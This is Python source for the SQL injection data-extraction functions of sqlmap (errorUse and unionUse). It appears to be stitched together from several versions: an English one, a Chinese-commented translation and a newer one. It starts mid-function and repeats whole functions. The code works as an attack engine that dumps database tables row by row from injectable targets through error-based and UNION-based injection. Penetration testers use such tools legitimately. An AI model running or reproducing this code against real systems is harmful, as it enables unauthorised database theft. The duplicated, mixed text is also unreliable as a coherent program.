(field, kb.dumpTable)) == '0':
emptyFields.append(field)
debugMsg = "column '%s' of table '%s' will not be " % (
field, kb.dumpTable)
debugMsg += "dumped as it appears to be empty"
logger.debug(debugMsg)
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def errorThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
threadData.shared.counter += 1
num = next(threadData.shared.limits)
except StopIteration:
break
output = _errorFields(expression, expressionFields,
expressionFieldsList, num,
emptyFields,
threadData.shared.showEta)
if not kb.threadContinue:
break
if output and isListLike(output) and len(
output) == 1:
output = unArrayizeValue(output)
with kb.locks.value:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(
threadData.shared.counter)
for index in xrange(
1 + len(threadData.shared.buffered)):
if index < len(
threadData.shared.buffered
) and threadData.shared.buffered[index][
0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, output))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[
0][0]:
threadData.shared.lastFlushed += 1
threadData.shared.value.append(
threadData.shared.buffered[0][1])
del threadData.shared.buffered[0]
runThreads(numThreads, errorThread)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
threadData.shared.value.extend(
_[1] for _ in sorted(threadData.shared.buffered))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
value = _errorFields(expression, expressionFields,
expressionFieldsList)
if value and isListLike(value):
if len(value) == 1 and isinstance(value[0],
(six.string_types, type(None))):
value = unArrayizeValue(value)
elif len(value) > 1 and stopLimit == 1:
value = [value]
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d quer%s in %.2f seconds" % (
kb.counters[getTechnique()],
'y' if kb.counters[getTechnique()] == 1 else "ies", duration)
logger.debug(debugMsg)
return value
def unionUse(expression, unpack=True, dump=False):
"""
This function tests for an union SQL injection on the target
url then call its subsidiary function to effectively perform an
union SQL injection on the affected url
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
abortedFlag = False
count = None
origExpr = expression
startLimit = 0
stopLimit = None
value = None
width = getConsoleWidth()
start = time.time()
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
origExpr)
if expressionFieldsList and len(
expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it
expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I)
debugMsg = "stripping ORDER BY clause from statement because "
debugMsg += "it does not play well with UNION query SQL injection"
singleTimeDebugMessage(debugMsg)
# We have to check if the SQL query might return multiple entries
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
(dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(
expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(
expressionFields,
queries[Backend.getIdentifiedDbms()].count.query %
('*' if len(expressionFieldsList) > 1 else expressionFields),
1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
output = _oneShotUnionUse(countedExpression, unpack)
count = unArrayizeValue(parseUnionPage(output))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and (not isinstance(count, basestring)
or not count.isdigit()):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
threadData = getCurrentThreadData()
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.lastFlushed = startLimit - 1
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL,
DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
if all(
map(lambda _: _ in output,
(kb.chars.start, kb.chars.stop))):
items = parseUnionPage(output)
with kb.locks.value:
# in case that we requested N columns and we get M!=N then we have to filter a bit
if isListLike(
items) and len(items) > 1 and len(
expressionFieldsList) > 1:
items = [
item for item in items
if isListLike(item) and len(item)
== len(expressionFieldsList)
]
index = None
for index in xrange(
len(threadData.shared.buffered)):
if threadData.shared.buffered[index][
0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, items))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[
0][0]:
threadData.shared.lastFlushed += 1
_ = threadData.shared.buffered[0][1]
if not isNoneValue(_):
threadData.shared.value.extend(
arrayizeValue(_))
del threadData.shared.buffered[0]
else:
with kb.locks.value:
index = None
for index in xrange(
len(threadData.shared.buffered)):
if threadData.shared.buffered[index][
0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, None))
items = output.replace(
kb.chars.start,
"").replace(kb.chars.stop,
"").split(kb.chars.delimiter)
if conf.verbose == 1 and not (
threadData.resumed
and kb.suppressResumeInfo):
status = "[%s] [INFO] %s: %s" % (
time.strftime("%X"), "resumed"
if threadData.resumed else "retrieved",
safecharencode(",".join(
"\"%s\"" % _ for _ in flattenValue(
arrayizeValue(items)))))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\r\n" % status, True)
runThreads(numThreads, unionThread)
if conf.verbose == 1:
clearConsoleLine(True)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
for _ in sorted(threadData.shared.buffered):
if not isNoneValue(_[1]):
threadData.shared.value.extend(arrayizeValue(_[1]))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
value = _oneShotUnionUse(expression, unpack)
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %d seconds" % (
kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
logger.debug(debugMsg)
return value
def errorUse(expression, dump=False):
"""
在受影响的参数上使用基于错误的SQL注入漏洞以获取SQL查询的输出。
"""
initTechnique(kb.technique)
abortedFlag = False
count = None
emptyFields = []
start = time.time()
startLimit = 0
stopLimit = None
value = None
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
expression)
# 如果从API调用引擎，请设置kb.partRun
kb.partRun = getPartRun(alias=False) if conf.api else None
# 我们必须检查SQL查询是否能返回多个条目，
# 在这种情况下，会伪造SQL限制查询输出一个条目
# 注意:我们假设只有从表中获取到查询数据的才能返回多个条目
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(
expression, dump)
if limitCond:
# 计算输出的SQL查询条目数
countedExpression = expression.replace(
expressionFields,
queries[Backend.getIdentifiedDbms()].count.query %
('*' if len(expressionFieldsList) > 1 else expressionFields),
1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(
countedExpression)
count = unArrayizeValue(
_oneShotErrorUse(countedExpression, countedExpressionFields))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = u"使用的SQL查询返回%d个条目" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = u"无法计算提供的SQL查询的条目数，sqlmap将假定它只返回一个条目"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = u"提供的SQL查询没有返回任何输出"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
if isNumPosStrValue(count) and int(count) > 1:
# 在巨大的表上，如果每行检索都需要ORDER BY则性能会下降很多
# （在使用ERROR注入的表转储中最为显着）
# SLOW_ORDER_COUNT_THRESHOLD = 10000
if " ORDER BY " in expression and (
stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
message = u"由于查询的表很大，您是否要删除ORDER BY子句以获得一致性的速度?[Y/N] "
if readInput(message, default="N", boolean=True):
expression = expression[:expression.index(" ORDER BY "
)]
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData = getCurrentThreadData()
try:
threadData.shared.limits = iter(
xrange(startLimit, stopLimit))
except OverflowError:
errMsg = u"查询范围(%d到%d)太大," % (startLimit, stopLimit)
errMsg += u"请重新运行'--fresh-queries'选项"
raise SqlmapDataException(errMsg)
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.counter = 0
threadData.shared.lastFlushed = startLimit - 1
threadData.shared.showEta = conf.eta and (stopLimit -
startLimit) > 1
if threadData.shared.showEta:
threadData.shared.progress = ProgressBar(
maxValue=(stopLimit - startLimit))
if kb.dumpTable and (len(expressionFieldsList) <
(stopLimit - startLimit) >
CHECK_ZERO_COLUMNS_THRESHOLD):
for field in expressionFieldsList:
if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" %
(field, kb.dumpTable)) == '0':
emptyFields.append(field)
debugMsg = u"表'%s'的列'%s'将不会被转储，" % (field,
kb.dumpTable)
debugMsg += u"因为它看起来是空的"
logger.debug(debugMsg)
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = u"抑制恢复控制台只显示20行信息，"
debugMsg += u"因为打印大量的信息流，会需要很长的时间"
logger.debug(debugMsg)
try:
def errorThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
valueStart = time.time()
threadData.shared.counter += 1
num = threadData.shared.limits.next()
except StopIteration:
break
output = _errorFields(expression, expressionFields,
expressionFieldsList, num,
emptyFields,
threadData.shared.showEta)
if not kb.threadContinue:
break
if output and isListLike(output) and len(
output) == 1:
output = output[0]
with kb.locks.value:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(
time.time() - valueStart,
threadData.shared.counter)
for index in xrange(
1 + len(threadData.shared.buffered)):
if index < len(
threadData.shared.buffered
) and threadData.shared.buffered[index][
0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, output))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[
0][0]:
threadData.shared.lastFlushed += 1
threadData.shared.value.append(
threadData.shared.buffered[0][1])
del threadData.shared.buffered[0]
runThreads(numThreads, errorThread)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = u"用户在枚举期间中止，sqlmap将只显示部分输出"
logger.warn(warnMsg)
finally:
threadData.shared.value.extend(
_[1] for _ in sorted(threadData.shared.buffered))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
value = _errorFields(expression, expressionFields,
expressionFieldsList)
if value and isListLike(value) and len(value) == 1 and isinstance(
value[0], basestring):
value = value[0]
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = u"在%.2f秒内执行了%d个查询" % (kb.counters[kb.technique], duration)
logger.debug(debugMsg)
return value
def unionUse(expression, unpack=True, dump=False):
"""
This function tests for an UNION SQL injection on the target
URL then call its subsidiary function to effectively perform an
UNION SQL injection on the affected URL
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
abortedFlag = False
count = None
origExpr = expression
startLimit = 0
stopLimit = None
value = None
width = getConsoleWidth()
start = time.time()
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if conf.api else None
if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
kb.rowXmlMode = True
_ = "(%s FOR XML RAW, BINARY BASE64)" % expression
output = _oneShotUnionUse(_, False)
value = parseUnionPage(output)
kb.rowXmlMode = False
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
debugMsg = "stripping ORDER BY clause from statement because "
debugMsg += "it does not play well with UNION query SQL injection"
singleTimeDebugMessage(debugMsg)
# We have to check if the SQL query might return multiple entries
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
output = _oneShotUnionUse(countedExpression, unpack)
count = unArrayizeValue(parseUnionPage(output))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "used SQL query returns "
infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
logger.info(infoMsg)
elif count and (not isinstance(count, six.string_types) or not count.isdigit()):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
if isNumPosStrValue(count) and int(count) > 1:
threadData = getCurrentThreadData()
try:
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg)
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.counter = 0
threadData.shared.lastFlushed = startLimit - 1
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
if threadData.shared.showEta:
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
threadData.shared.counter += 1
num = next(threadData.shared.limits)
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
with kb.locks.value:
if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
items = parseUnionPage(output)
if threadData.shared.showEta:
threadData.shared.progress.progress(threadData.shared.counter)
if isListLike(items):
# in case that we requested N columns and we get M!=N then we have to filter a bit
if len(items) > 1 and len(expressionFieldsList) > 1:
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
items = [_ for _ in flattenValue(items)]
if len(items) > len(expressionFieldsList):
filtered = OrderedDict()
for item in items:
key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
filtered[key] = item
items = filtered.values()
items = [items]
index = None
for index in xrange(1 + len(threadData.shared.buffered)):
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, items))
else:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(threadData.shared.counter)
for index in xrange(1 + len(threadData.shared.buffered)):
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, None))
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
if not isNoneValue(_):
threadData.shared.value.extend(arrayizeValue(_))
del threadData.shared.buffered[0]
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
_ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items]))
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\n" % status)
runThreads(numThreads, unionThread)
if conf.verbose == 1:
clearConsoleLine(True)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
for _ in sorted(threadData.shared.buffered):
if not isNoneValue(_[1]):
threadData.shared.value.extend(arrayizeValue(_[1]))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
output = _oneShotUnionUse(expression, unpack)
value = parseUnionPage(output)
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
logger.debug(debugMsg)
return value